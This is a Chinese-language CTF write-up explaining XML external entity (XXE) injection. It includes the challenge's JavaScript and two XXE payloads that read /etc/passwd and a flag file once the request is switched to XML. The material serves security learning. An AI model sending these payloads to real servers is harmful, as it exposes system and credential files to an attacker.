XML引用外部实体触发XXE漏洞

Posted sylover

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML引用外部实体触发XXE漏洞相关的知识,希望对你有一定的参考价值。

先记录一道题

 技术图片

输入框中输入的内容会被显示到上面的区域中。查看后台源码,有这样的一个片段

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send(‘{"search":"‘+evil_input+‘","value":"own"}‘);
}

 

传入一个json形式的数组

技术图片

传入json以后发现只是几个特定的值被记录下来。这里用到的就XXE漏洞

 

 

XML:可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言

<?xml  version="1.0" ?>
<user>
<username>admin</username>
<password>pass</password>
<age>age</age>
</user>

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

 

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE rr[
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>

 

这里的entityex即我们引用的外部实体,在内容中又引用了SYSTEM,在服务器解析xml的时候就会触发SYSTME 进而执行file:///etc/passwd

 

找到了一个可以说明这个问题的实例:

技术图片

 

 点击下方的forget pwd,抓包。

技术图片

 

 查看返回包

技术图片

 

引用xml实体,构造如下语句。

技术图片

 

 语句成功被解析。

 

在这道题中我们首先要将content-type改为application/xml 这样即可以识别xml结构。

根据上述特点构造

<?xml version="1.0" ?>
<!DOCTYPE hsy[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<something>&any;</something>

 

 技术图片

 

得到flag

以上是关于XML引用外部实体触发XXE漏洞的主要内容,如果未能解决你的问题,请参考以下文章

浅谈XML实体注入漏洞

[Web安全] XXE漏洞攻防学习(上)

XXE漏洞利用

XXE漏洞

XXE漏洞利用技巧:从XML到远程代码执行

[Web安全] XXE漏洞攻防学习(中)